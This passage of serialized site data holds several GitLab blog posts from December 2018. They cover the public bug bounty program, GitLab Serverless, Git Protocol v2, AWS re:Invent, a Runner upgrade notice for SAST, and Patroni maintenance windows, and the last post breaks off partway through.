}",{"title":31173,"description":31174,"authors":31178,"heroImage":14173,"date":31179,"body":31180,"category":734,"tags":31181},[29725],"2018-12-12","\nToday, we are happy to announce that our [HackerOne bug bounty program](https://hackerone.com/gitlab) is now public. Since we opened our private bounty program in December 2017, we have been preparing to take this program public by working through some of the challenges of managing a bug bounty program. We have awarded over $200,000 in bounties since the bug bounty program went live last year. This means we mitigated nearly 200 vulnerabilities reported to us.\n\nOur first response time to newly submitted findings has decreased significantly, from an average of 48+ hours to just seven. That is a significant reduction achieved through security automation, and will help us scale, as well as better engage the hacker community.\n\nOn average, our mean time to mitigation (MTTR) for critical security issues is currently fewer than 30 days. Our current goal is to now focus on bringing the MTTR metric for medium-high security issues to under 60 days, on average.\n\nYesterday, we released a [webinar](https://www.hackerone.com/resources/gitlab-hps-for-startups) to announce our plans to be a public bug bounty program. In managing a [public bug bounty program](https://hackerone.com/gitlab), we will now be able to reward our hacker community for reporting security vulnerabilities to us directly through the program.\n\nThe past year has been a great journey of learning about managing such a program, and we have plans to further expand upon our public program in 2019 and beyond. We would also like to acknowledge some of our top contributors from the hacker community, including [ngalog](https://hackerone.com/ngalog), [jobert](https://hackerone.com/jobert), and [fransrosen](https://hackerone.com/fransrosen).\n\nCheck out the [program](https://hackerone.com/gitlab) to see how you can contribute!\n",[267,674],{"slug":31183,"featured":6,"template":678},"gitlab-hackerone-bug-bounty-program-is-public-today","content:en-us:blog:gitlab-hackerone-bug-bounty-program-is-public-today.yml","Gitlab Hackerone Bug Bounty Program Is Public Today","en-us/blog/gitlab-hackerone-bug-bounty-program-is-public-today.yml","en-us/blog/gitlab-hackerone-bug-bounty-program-is-public-today",{"_path":31189,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31190,"content":31195,"config":31199,"_id":31201,"_type":16,"title":31202,"_source":17,"_file":31203,"_stem":31204,"_extension":20},"/en-us/blog/what-to-expect-at-predict-2019",{"title":31191,"description":31192,"ogTitle":31191,"ogDescription":31192,"noIndex":6,"ogImage":25354,"ogUrl":31193,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31193,"schema":31194},"2019 cloud native predictions from the Predict 2019 Conference","Break out your sunglasses, because the cloud native forecast for 2019 is sunny.","https://about.gitlab.com/blog/what-to-expect-at-predict-2019","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"2019 cloud native predictions from the Predict 2019 Conference\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tina Sturgis\"}],\n        \"datePublished\": \"2018-12-12\",\n      }",{"title":31191,"description":31192,"authors":31196,"heroImage":25354,"date":31179,"body":31197,"category":8943,"tags":31198},[25826],"\n\nGet the latest 2019 predictions from GitLab and other industry experts. [Sign me up](https://predict2019.com/#join-us)!\n{: .alert .alert-info}\n\nI love this time of year!  But it isn't for the reasons you may be thinking ... it's not the holiday decorations, shopping for gifts for loved ones ... it is about PREDICTIONS! Yep, I am a prediction junkie! I love to stop, do a little research as the end of December rolls around, reflect on what happened in that year, and begin to forecast trends I believe will emerge in the new year.\n\nThis year, one of the most exciting areas I wanted to dive into a prediction of is [cloud native](/topics/cloud-native/). It is no longer just a ‘fad,’ enterprises are realizing benefits from adopting cloud native. So I got together with my closest GitLab team-members and we dove in to provide you with our top five predictions.\n\n## Top predictions around cloud native\n\nThe basis for cloud native applications to flourish has been set and we believe that 2019 will be a great cloud native year.\n\n* Enterprises will adopt a [multi-cloud strategy](https://medium.com/gitlab-magazine/multi-cloud-maturity-model-2de185c01dd7) for their long-term investments.\n* The cloud native stack is maturing with tools like Kubernetes, Prometheus, and Envoy.\n* We are going to see a lot more on [serverless](/topics/serverless/) with the likes of Lambda and Knative.\n* We will see some real movement in the application of artificial intelligence and machine learning.\n\n## What about DevOps and security predictions?\n\nOnce we completed our research and position on cloud native predictions, we teamed up with [DevOps.com](https://www.devops.com) to participate in their on-demand virtual conference, [Predict 2019](https://predict2019.com/#join-us), that includes predictions around cloud security, DevOps, and quality testing with a [cast of speakers](https://predict2019.com/#speakers) that will educate and inspire you as you move into 2019!\n\n[Sign up now to attend Predict 2019](https://predict2019.com/#join-us)!\n{: .alert .alert-info}\n\nPhoto by [Marc Wieland](https://unsplash.com/photos/zrj-TPjcRLA?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/clouds?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,2509,3949,277],{"slug":31200,"featured":6,"template":678},"what-to-expect-at-predict-2019","content:en-us:blog:what-to-expect-at-predict-2019.yml","What To Expect At Predict 2019","en-us/blog/what-to-expect-at-predict-2019.yml","en-us/blog/what-to-expect-at-predict-2019",{"_path":31206,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31207,"content":31212,"config":31217,"_id":31219,"_type":16,"title":31220,"_source":17,"_file":31221,"_stem":31222,"_extension":20},"/en-us/blog/introducing-gitlab-serverless",{"title":31208,"description":31209,"ogTitle":31208,"ogDescription":31209,"noIndex":6,"ogImage":26321,"ogUrl":31210,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31210,"schema":31211},"Announcing GitLab Serverless","The true value of serverless is best realized via a single-application DevOps experience – that's why we're launching GitLab Serverless.","https://about.gitlab.com/blog/introducing-gitlab-serverless","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing GitLab Serverless\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Priyanka Sharma\"}],\n        \"datePublished\": \"2018-12-11\",\n      }",{"title":31208,"description":31209,"authors":31213,"heroImage":26321,"date":31214,"body":31215,"category":299,"tags":31216},[26983],"2018-12-11","\n\n[Serverless](/topics/serverless/) is the latest innovation in cloud computing that promises to alter the cost-benefit equation for enterprises. As our CEO, [Sid Sijbrandij](/company/team/#sytses) says, \"All roads lead to compute.\" There is a race among providers to acquire as many workloads from enterprises as possible, at the cheapest cost. The latter is where serverless comes in: serverless computing is an execution model in which the cloud provider acts as the server, dynamically managing the allocation of machine resources. Pricing is based on the actual resources consumed by an application, rather than on pre-purchased units of capacity.\n\nThis field began with the release of [AWS Lambda](https://en.wikipedia.org/wiki/AWS_Lambda) in November 2014. In the four short years since then, it has become a well-known workflow that enterprises are eager to adopt. Today, we are announcing [GitLab Serverless](/topics/serverless/) to enable our users to take advantage of the benefits of serverless.\n\n## GitLab Serverless is launching Dec. 22\n\nGitLab is the only single application for the entire [DevOps lifecycle](/topics/devops/). As part of that vision, we will release GitLab Serverless in GitLab 11.6, coming later this month, to allow enterprises to plan, build, and manage serverless workloads with the rest of their code from within the same GitLab UI. It leverages [Knative](https://cloud.google.com/knative/), which enables [autoscaling](https://en.wikipedia.org/wiki/Autoscaling) down to zero and back up to run serverless workloads on Kubernetes. This allows businesses to employ a multi-cloud strategy and leverage the value of serverless without being locked into a specific cloud provider.\n\nIn order to bring the best-in-class to our users, we partnered with [TriggerMesh](https://triggermesh.com/) founder [Sebastien Goasguen](https://twitter.com/sebgoa) and his team. Sebastien has been part of the serverless landscape since the beginning. He built a precursor to Knative, Kubeless. He is actively involved with the Knative community and understands the workflow from soup to nuts. Sebastien says, \"We are excited to help GitLab enable all their users to deploy functions directly on the Knative function-as-a-service clusters. We believe that these additions to GitLab will give those users the best possible experience for complete serverless computing from beginning to end.\"\n\n## \"Serverless first\"\n\nAs any attendees at [AWS re:Invent](/blog/aws-reinvent-recap/) would have noticed, the behemoth is putting all its energies behind serverless. We heard [stories from the likes of Trustpilot](https://www.computerworlduk.com/cloud-computing/how-trustpilot-takes-serverless-first-approach-engineering-with-aws-3688267/) about changing their engineering culture to \"serverless first.\" This is because serverless cloud providers save money by not having to keep idle machines provisioned and running, and are passing on the benefits to their customers. While this is amazing news, it is hard to truly embrace a workflow if it lives outside of developers' entrenched habits. GitLab has millions of users and is used by over 100,000 organizations, and with GitLab Serverless they can now enjoy the cost savings and elegant code design serverless brings, from the comfort of their established workflows.\n\nAs with all GitLab endeavors, making serverless multi-cloud and accessible to everyone is a big, hairy, audacious goal. Today, Knative can be installed to a Kubernetes cluster with a single click via the GitLab Kubernetes integration. It shipped in [GitLab 11.5](/releases/2018/11/22/gitlab-11-5-released/#easily-deploy-and-integrate-knative-with-gitlab).\n\n### How to activate GitLab Serverless\n\nStarting with the release of GitLab 11.6 on Dec. 22, the \"Serverless\" tab will be available for users as an alpha offering. Please do check it out and share your feedback with us.\n\n1. Go to your GitLab instance and pick your project of choice.\n2. Click on the `Operations` menu item in the sidebar.\n3. Pick `Serverless` to view the list of all the functions you have defined. You will also be able to see a brief description as well as the Knative cluster the function is deploying to.\n\n![Serverless list view](https://gitlab.com/gitlab-org/gitlab-ce/uploads/8b821d4aaa1bb75375dc54567a4313ad/CE-project__serverless-grouped.png \"Serverless list view\"){: .shadow.large.center}\n\nTo dig further, click into the function for more info.\n\n![function detail view](https://gitlab.com/gitlab-org/gitlab-ce/uploads/9e1e3893aa5369a2a165d1dd95c98dd8/CE-project__serverless--function-details.png \"function detail view\"){: .shadow.large.center}\n\nAll this goodness will be available Dec. 22. In the meantime, we would love to see you at [KubeCon Seattle](/events), where our product and engineering experts are attending to talk all things serverless with attendees. Hope to see you at booth S44!\n",[736,4103,754,232,2509],{"slug":31218,"featured":6,"template":678},"introducing-gitlab-serverless","content:en-us:blog:introducing-gitlab-serverless.yml","Introducing Gitlab Serverless","en-us/blog/introducing-gitlab-serverless.yml","en-us/blog/introducing-gitlab-serverless",{"_path":31224,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31225,"content":31231,"config":31236,"_id":31238,"_type":16,"title":31239,"_source":17,"_file":31240,"_stem":31241,"_extension":20},"/en-us/blog/friends-dont-let-friends-add-options-to-code",{"title":31226,"description":31227,"ogTitle":31226,"ogDescription":31227,"noIndex":6,"ogImage":31228,"ogUrl":31229,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31229,"schema":31230},"Friends don't let friends add options to code","Creating optional features burdens users and applications – here's how we avoid adding options.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678953/Blog/Hero%20Images/options.jpg","https://about.gitlab.com/blog/friends-dont-let-friends-add-options-to-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Friends don't let friends add options to code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2018-12-10\",\n      }",{"title":31226,"description":31227,"authors":31232,"heroImage":31228,"date":31233,"body":31234,"category":734,"tags":31235},[20767],"2018-12-10","\nSometimes, when trying to make it easier to work in an application, our instinct is to add\noptional features that users can enable if their situations require a specific functionality.\nOur intentions may be good, but these actions can actually cause _more_ problems, since we invite users\n to second-guess their choices by adding extra steps into the user experience.\n\n## The disadvantages of a [choose your own adventure](https://en.wikipedia.org/wiki/Choose_Your_Own_Adventure) model\n\nOne of the most celebrated aspects of [open source](/solutions/open-source/)\nis the freedom that allows developers to brighten a user’s day by adding an\noptional feature that may not be for everyone, but allows a small portion of users\nto engage with a project in a specific way. While it may seem like a great idea\nto cater to individual needs, there are several disadvantages to making something\nan option.\n\n### It creates more work for developers\n\nCreating extra options means more work for both frontend and backend teams.\nThese features add additional code, tests, and documentation for each setting,\nand the various states alter the UI. Adding options hurts you in every step of\nthe development process.\n\n### It places a burden on the user to choose\n\nWhen we solve problems by including options, we force a user to think about the\nfunction and consider its purpose and drawbacks, placing a burden on them to\ncontrol how they use an application. A user hesitates and has to make a decision\nabout whether this is something that should be enabled. After all, if an option\nsignificantly enhanced the user experience, then wouldn’t it have been automatically\nintegrated?\n\n### It makes future functionality more difficult to implement\n\nThere's also the long-term impact of additional options. Just one extra option can lead to one of two\npaths, which might influence other parts of an application. So, every\ntime we add an option, the number of states of the application doubles. That's\nexponential growth and it adds up quickly, making it harder to diagnose errors. Multiple\noptions can lead to the creation of states of which we’re unaware, so\nit’s harder for the user to understand how an application should behave, because\nthey don't know whether errors are due to an option or not. And, if it is an\noption causing the error, _which_ option is the problem?\n\n## How we avoid adding options: Bask in the glow of iteration\n\nSo, how do you know if a feature should be optional or not? At GitLab, we ship\nthe first [iteration](https://handbook.gitlab.com/handbook/values/#iteration) and keep delivering based on\nuser feedback. Some of the features that we anticipated may never roll out,\nbecause users didn’t request them. Iteration allows us to reduce the scope of\ndevelopment and avoid including features that aren’t popular or useable.\n\nWhenever users need something new, try to create a solution that's acceptable\nfor the most number of people. Rely on your development and operations teams to\nprovide feedback and ask them to relate to the end user. Conducting\n[UX research](/handbook/product/ux/ux-research/#ux-research) with your users\nalso helps identify pain points and needs.\n\nTeams are continually constrained by development capacity, and adding options to\napplications can absorb previous time and effort. We suggest shipping your\napplication without an option and waiting to see whether people request it or\nmake a\n[feature proposal](https://gitlab.com/gitlab-org/gitlab-ce/issues?label_name%5B%5D=feature+proposal)\nfor it. In the end, our role is to solve users’ problems, and our goal is to\nidentify the underlying cause of a challenge and fix it in a way that doesn't\nneed an option.\n\n[Cover image](https://unsplash.com/photos/pKeF6Tt3c08) by [Brendan Church](https://unsplash.com/@bdchu614) on Unsplash\n{: .note}\n",[676,2249,815,1444],{"slug":31237,"featured":6,"template":678},"friends-dont-let-friends-add-options-to-code","content:en-us:blog:friends-dont-let-friends-add-options-to-code.yml","Friends Dont Let Friends Add Options To Code","en-us/blog/friends-dont-let-friends-add-options-to-code.yml","en-us/blog/friends-dont-let-friends-add-options-to-code",{"_path":31243,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31244,"content":31249,"config":31253,"_id":31255,"_type":16,"title":31256,"_source":17,"_file":31257,"_stem":31258,"_extension":20},"/en-us/blog/git-protocol-v2-enabled-for-ssh-on-gitlab-dot-com",{"title":31245,"description":31246,"ogTitle":31245,"ogDescription":31246,"noIndex":6,"ogImage":12013,"ogUrl":31247,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31247,"schema":31248},"Git Protocol v2 now enabled for SSH on GitLab.com","Fetch faster using Git Protocol v2 – here's how.","https://about.gitlab.com/blog/git-protocol-v2-enabled-for-ssh-on-gitlab-dot-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git Protocol v2 now enabled for SSH on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"James Ramsay\"}],\n        \"datePublished\": \"2018-12-10\",\n      }",{"title":31245,"description":31246,"authors":31250,"heroImage":12013,"date":31233,"body":31251,"category":734,"tags":31252},[24597],"\n\nGitLab added support for [Git Protocol v2 over HTTP and SSH in GitLab 11.4](/releases/2018/10/22/gitlab-11-4-released/#git-protocol-v2), and enabled Protocol v2 over HTTP on GitLab.com, but not for SSH. On Nov. 23, we enabled [Git Protocol v2 over SSH on GitLab.com](https://gitlab.com/gitlab-com/gl-infra/infrastructure/issues/5244). You can view Git Protocol usage on our [public dashboard](https://dashboards.gitlab.com/d/pqlQq0xik/git-protocol-versions?refresh=5m&orgId=1).\n\nGit Protocol v2 is supported from Git v2.18.0 and is opt-in. To enable globally, run `git config --global protocol.version 2`.\n\n## What Git Protocol v2 means for you\n\nGit 2.18 introduced support for Protocol v2, which defines how clones, fetches, and pushes are communicated between the client (your computer) and the server (GitLab). The new [wire protocol](https://www.kernel.org/pub/software/scm/git/docs/technical/pack-protocol.html) improves the performance of fetch commands and enables future protocol improvements. [Read more about Protocol v2](https://opensource.googleblog.com/2018/05/introducing-git-protocol-version-2.html) in the release post by the author of the change.\n\nTo see the reduction in network traffic with Protocol v2 you can run the commands below:\n\n```\n# Original Git wire protocol\nGIT_TRACE_PACKET=1 git -c protocol.version=0 ls-remote git@gitlab.com:gitlab-org/gitlab-ce.git master\n\n# New Git wire protocol v2\nGIT_TRACE_PACKET=1 git -c protocol.version=2 ls-remote git@gitlab.com:gitlab-org/gitlab-ce.git master\n```\n\nIn moving from Protocol v0 to v2, on this repo the number of lines (\"packets\") sent behind the scenes drops from over 36,000 to fewer than 30.\n",[1067,6962,774],{"slug":31254,"featured":6,"template":678},"git-protocol-v2-enabled-for-ssh-on-gitlab-dot-com","content:en-us:blog:git-protocol-v2-enabled-for-ssh-on-gitlab-dot-com.yml","Git Protocol V2 Enabled For Ssh On Gitlab Dot Com","en-us/blog/git-protocol-v2-enabled-for-ssh-on-gitlab-dot-com.yml","en-us/blog/git-protocol-v2-enabled-for-ssh-on-gitlab-dot-com",{"_path":31260,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31261,"content":31267,"config":31272,"_id":31274,"_type":16,"title":31275,"_source":17,"_file":31276,"_stem":31277,"_extension":20},"/en-us/blog/aws-reinvent-recap",{"title":31262,"description":31263,"ogTitle":31262,"ogDescription":31263,"noIndex":6,"ogImage":31264,"ogUrl":31265,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31265,"schema":31266},"Highlights from AWS re:Invent 2018","Catch up on what GitLab got up to at AWS re:Invent last week! Reinventing pipelines, emerging as a single application, theCUBE interviews, and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679994/Blog/Hero%20Images/aws_booth_2018.jpg","https://about.gitlab.com/blog/aws-reinvent-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Highlights from AWS re:Invent 2018\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Priyanka Sharma\"}],\n        \"datePublished\": \"2018-12-06\",\n      }",{"title":31262,"description":31263,"authors":31268,"heroImage":31264,"date":31269,"body":31270,"category":299,"tags":31271},[26983],"2018-12-06","\n\nLast week GitLab was at AWS re:Invent 2018, the marquee event for cloud computing in the US. As the frontrunner in the space, Amazon has built re:Invent to be a juggernaut. This year it commanded most of the Las Vegas strip and had over 50,000 attendees. As a first-time visitor myself, I was impressed by the sheer scale and efficiency of the event. I was also thrilled to achieve my personal goal of giving my first talk with a live demo using code and GitLab. As for GitLab, we saw that our company emerged as a leader in the DevOps space with a single application for the whole software development lifecycle.\n\n## Highlights\n\n### Reinventing CI/CD pipelines\n\nOur CEO [Sid Sijbrandij](/company/team/#sytses) and I did a talk and live demo about reinventing CI/CD pipelines using GitLab, [Kubernetes](/solutions/kubernetes/), and EKS. This was our first hint that this re:Invent was going to be special. The talk was bursting at the seams with attendees, as we shared both the challenges of the toolchain crisis engulfing our ecosystem, and about how a single application for the entire DevOps lifecycle can make an improvement of over 200 percent in cycle times. You can [check out the presentation here](https://docs.google.com/presentation/d/1x1g4pfpoaav9lhcYkjAJylLMl-9S0JFTeKXlNF98O-I/edit?usp=sharing).\n\n![Sid Sijbrandij and Priyanka Sharma on stage at AWS re:Invent](https://about.gitlab.com/images/blogimages/aws-2018/aws_2018_sid_talk_stage.jpeg){: .shadow.medium.center}\n\nThe demo, which showed us running a CI/CD pipeline and deploying code to Kubernetes on EKS, is an example of the [cloud native workflows](/topics/cloud-native/) users can push via GitLab. It is such competency that makes Kubernetes on EKS a breeze and is the reason GitLab was awarded the [AWS Partner DevOps Competency Certification](/blog/gitlab-achieves-aws-devops-competency-certification/) to confirm our viability and excellence as a DevOps solution for companies using AWS Cloud.\n\n### Validation for our vision\n\nOur experience at re:Invent was one of validation and emergence. As a company, we saw that our efforts to build the first single application for the entire DevOps lifecycle have paid off and our users resonated with our message. Most folks who came to our booth were aware that GitLab played a part in multiple stages (if not all) of their workflow and many were avid [GitLab CI](/solutions/continuous-integration/) fans. Gone are the days when [version control](https://docs.gitlab.com/ee/topics/gitlab_flow.html) was the only thing GitLab was associated with.\n\n![Collage from GitLab at AWS re:Invent](https://about.gitlab.com/images/blogimages/aws-2018/aws_booth_collage.jpeg){: .medium.center}\n\nOur VP of Alliances, [Brandon Jung](/company/team/#brandoncjung), [appeared on theCUBE](https://www.youtube.com/watch?v=Ejs5xGAhL8s) with a company called Beacon. As the former head of partnerships at Google Cloud, Brandon has a long history with GitLab. He has seen the company grow over the years and shared how our rocketship ascent across the DevOps lifecycle convinced him of the potential. He said, \"In just over two years, [GitLab became the frontrunner for continuous integration](/blog/gitlab-leader-continuous-integration-forrester-wave/), according to Forrester. That's impressive.\"\n\n### Livestream with The New Stack\n\nI also represented GitLab on [a livestream podcast](https://www.pscp.tv/w/1eaJbODAepnxX) with [The New Stack](https://thenewstack.io/), [Matt Biilmann](https://twitter.com/biilmann?lang=en), CEO of [Netlify](/blog/netlify-launches-gitlab-support/), and [Joe Beda](https://twitter.com/jbeda), founder of [Heptio](https://heptio.com/) and creator of Kubernetes. We discussed GitOps, NoOps, and the toolchain crisis. As Matt wisely said, \"Trust in open source is critical to cloud computing and the ecosystem. Companies like GitLab will keep the players honest.\"\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">GitOps, NoOps and the tool chain crisis. \u003Ca href=\"https://t.co/mtfm8OaYYD\">https://t.co/mtfm8OaYYD\u003C/a>\u003C/p>&mdash; The New Stack (@thenewstack) \u003Ca href=\"https://twitter.com/thenewstack/status/1067881587214184448?ref_src=twsrc%5Etfw\">November 28, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nWe thank AWS for creating this amazing ecosystem of end users and practitioners who came together in Vegas last week. Next year will be bigger, better. Until then, see you all at [KubeCon](/events/)! 😃\n",[1384,267,4144,277,736,2509,676,815],{"slug":31273,"featured":6,"template":678},"aws-reinvent-recap","content:en-us:blog:aws-reinvent-recap.yml","Aws Reinvent Recap","en-us/blog/aws-reinvent-recap.yml","en-us/blog/aws-reinvent-recap",{"_path":31279,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31280,"content":31285,"config":31290,"_id":31292,"_type":16,"title":31293,"_source":17,"_file":31294,"_stem":31295,"_extension":20},"/en-us/blog/gitlab-runner-update-required-to-use-auto-devops-and-sast",{"title":31281,"description":31282,"ogTitle":31281,"ogDescription":31282,"noIndex":6,"ogImage":17364,"ogUrl":31283,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31283,"schema":31284},"GitLab Runner update required to use SAST in Auto DevOps","Make sure you upgrade GitLab Runner to 11.5+ to coninue using SAST in Auto DevOps.","https://about.gitlab.com/blog/gitlab-runner-update-required-to-use-auto-devops-and-sast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Runner update required to use SAST in Auto DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fabio Busatto\"}],\n        \"datePublished\": \"2018-12-06\",\n      }",{"title":31281,"description":31282,"authors":31286,"heroImage":17364,"date":31269,"body":31288,"category":734,"tags":31289},[31287],"Fabio Busatto","\n\nWe are introducing a major change for the [SAST] job definition for [Auto DevOps] with **GitLab 11.6**, shipping Dec. 22.\nAs a result, SAST jobs will fail after the upgrade to GitLab 11.6 if they are picked up by a version of [GitLab Runner]\nprior to 11.5. The jobs will fail, but they will not block pipelines. However, you won't see results\nfor SAST in the merge request or at the pipeline level anymore.\n\nThe same change will happen for [Dependency Scanning], [Container Scanning], [DAST], and [License Management] in future releases.\n\n## Why did this happen?\n\nThe [new job definition] uses the [`reports` syntax], which is necessary to show SAST results in the [Group Security Dashboard].\nUnfortunately, this syntax is not supported by GitLab Runner prior to 11.5.\n\n## Who is affected?\n\nYou are affected by this change if you meet **all** the requirements in the following list:\n1. You are using Auto DevOps **AND**\n1. you have at least one GitLab Runner 11.4 or older set up for your projects **AND**\n1. you are interested in security reports.\n\n## Who is not affected?\n\nYou are **not** affected by this change if you meet **at least one** of the requirements in the following list:\n1. You are not using Auto DevOps **OR**\n1. you are using only GitLab Runner 11.5 or newer **OR**\n1. you are using only shared runners on GitLab.com (we already upgraded them) **OR**\n1. you are not interested in security reports.\n\n## How to solve the problem\n\nIf you are not affected by the change, you don't need to take any action.\n\nIf you are affected, you should upgrade your GitLab Runners to version 11.5 or newer as soon as possible.\nIf you don't, you will not have new SAST reports until you do upgrade. If you upgrade your runners later, SAST will\nstart to work again correctly.\n\n## Which is the expected timeline?\n\nGitLab 11.6 will be released on **Dec. 22**.  This change may also be shipped in an early release\ncandidate (RC) version.\n\nIf you are using a **self-managed** GitLab instance, and you don't install RC versions, you will be affected when\nyou'll upgrade to GitLab 11.6.\n\nIf you are using **GitLab.com**, you will be affected as soon as the RC version with the change will be deployed.\n\nFeel free to reach out to us with any further questions!\n\n[SAST]: https://docs.gitlab.com/ee/user/application_security/sast/\n[Auto DevOps]: https://docs.gitlab.com/ee/topics/autodevops/\n[new job definition]: https://docs.gitlab.com/ee/user/application_security/sast/\n[`reports` syntax]: https://docs.gitlab.com/ee/ci/yaml/#artifactsreportssast-ultimate\n[Group Security Dashboard]: https://docs.gitlab.com/ee/user/application_security/security_dashboard/\n[GitLab Runner]: https://docs.gitlab.com/runner/\n[Dependency Scanning]: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/\n[Container Scanning]: https://docs.gitlab.com/ee/user/application_security/container_scanning/\n[DAST]: https://docs.gitlab.com/ee/user/application_security/dast/\n[License Management]: https://docs.gitlab.com/ee/user/compliance/license_compliance/index.html\n",[1384,4103,754,774,674],{"slug":31291,"featured":6,"template":678},"gitlab-runner-update-required-to-use-auto-devops-and-sast","content:en-us:blog:gitlab-runner-update-required-to-use-auto-devops-and-sast.yml","Gitlab Runner Update Required To Use Auto Devops And Sast","en-us/blog/gitlab-runner-update-required-to-use-auto-devops-and-sast.yml","en-us/blog/gitlab-runner-update-required-to-use-auto-devops-and-sast",{"_path":31297,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31298,"content":31303,"config":31309,"_id":31311,"_type":16,"title":31312,"_source":17,"_file":31313,"_stem":31314,"_extension":20},"/en-us/blog/availability-postgres-patroni",{"title":31299,"description":31300,"ogTitle":31299,"ogDescription":31300,"noIndex":6,"ogImage":29611,"ogUrl":31301,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31301,"schema":31302},"Introducing Patroni as the Postgres Failover Manager on GitLab.com","GitLab.com is introducing Patroni as the Postgres Failover Manager on GitLab.com.","https://about.gitlab.com/blog/availability-postgres-patroni","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing Patroni as the Postgres Failover Manager on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gerardo Lopez-Fernandez\"}],\n        \"datePublished\": \"2018-12-05\",\n      }",{"title":31299,"description":31300,"authors":31304,"heroImage":29611,"date":31306,"body":31307,"category":734,"tags":31308},[31305],"Gerardo Lopez-Fernandez","2018-12-05","\n\n## Upcoming Maintenance Windows for Patroni Deployment\n\nWe are writing this post to let our community know we are planning on performing the work necessary \nto deploy [Patroni](https://github.com/zalando/patroni) as the Postgres Failover Manager on GitLab.com over two weekends: a dry-run to test\nour migration plan and tools on Saturday, Dec 8, 2018, and the actual deployment on Saturday, December\n15, 2018.\n\nDuring the maintenance windows, the following services will be unavailable:\n\n* SaaS website ([GitLab.com](https://gitlab.com/) will be offline, but [about.gitlab.com](https://about.gitlab.com/) and [docs.gitlab.com](https://docs.gitlab.com/) will still be available)\n* Git ssh\n* Git https\n* registry\n* CI/CD\n* Pages\n\n### Maintenance Window - Dry run - Saturday, December 8 at 13:00 UTC\n\nWe will perform testing and validation of our deployment procedures and tools during this maintenance\nwindow to do final readiness checks. This maintenance window should last 30 minutes.\n\n### Maintenance Window - Actual Cutover - Saturday, December 15 at 13:00 UTC\n\nOn the day of the cutover, we are planning to start at 13:00 UTC.  The time window for GitLab.com to be\nin maintenance is currently planned to be 30 minutes. Should any times for this change, we will be updating\non the channels listed below. When this window is completed GitLab.com will be running Patroni.\n\n* [GitLab Status page](https://status.gitlab.com/)\n* [GitLab Status Twitter](https://twitter.com/gitlabstatus)\n\n",[754,754,1899,1938,1899,2704],{"slug":31310,"featured":6,"template":678},"availability-postgres-patroni","content:en-us:blog:availability-postgres-patroni.yml","Availability Postgres Patroni","en-us/blog/availability-postgres-patroni.yml","en-us/blog/availability-postgres-patroni",{"_path":31316,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31317,"content":31322,"config":31326,"_id":31328,"_type":16,"title":31329,"_source":17,"_file":31330,"_stem":31331,"_extension":20},"/en-us/blog/opensource-multi-cloud-crossplane",{"title":31318,"description":31319,"ogTitle":31318,"ogDescription":31319,"noIndex":6,"ogImage":29408,"ogUrl":31320,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31320,"schema":31321},"Crossplane lowers the barrier to a multi-cloud future","GitLab has been chosen as the first complex app to be deployed on new multi-cloud control plane, Crossplane.","https://about.gitlab.com/blog/opensource-multi-cloud-crossplane","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Crossplane lowers the barrier to a multi-cloud future\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2018-12-04\",\n      }",{"title":31318,"description":31319,"authors":31323,"heroImage":29408,"date":31324,"body":31325,"category":299},[3532],"2018-12-04","\n\nCloud computing has become the dominant IT paradigm and multi-cloud looks poised to be the primary approach, with [81 percent of enterprises](https://www.rightscale.com/blog/cloud-industry-insights/cloud-computing-trends-2018-state-cloud-survey) already adopting a multi-cloud strategy.\n\nA multi-cloud strategy prevents vendor lock-in, which is increasingly important as three major providers (AWS, GCP, and Azure) dominate the market. Despite the many benefits of a multi-cloud strategy, deploying across multiple clouds is still incredibly complex. While Kubernetes has emerged as the standard container orchestration platform, most organizations are running more than just container workloads, and there’s currently no standard for workload portability across managed services. What’s needed is a consistent, multi-cloud, open source interface, and we think there’s a 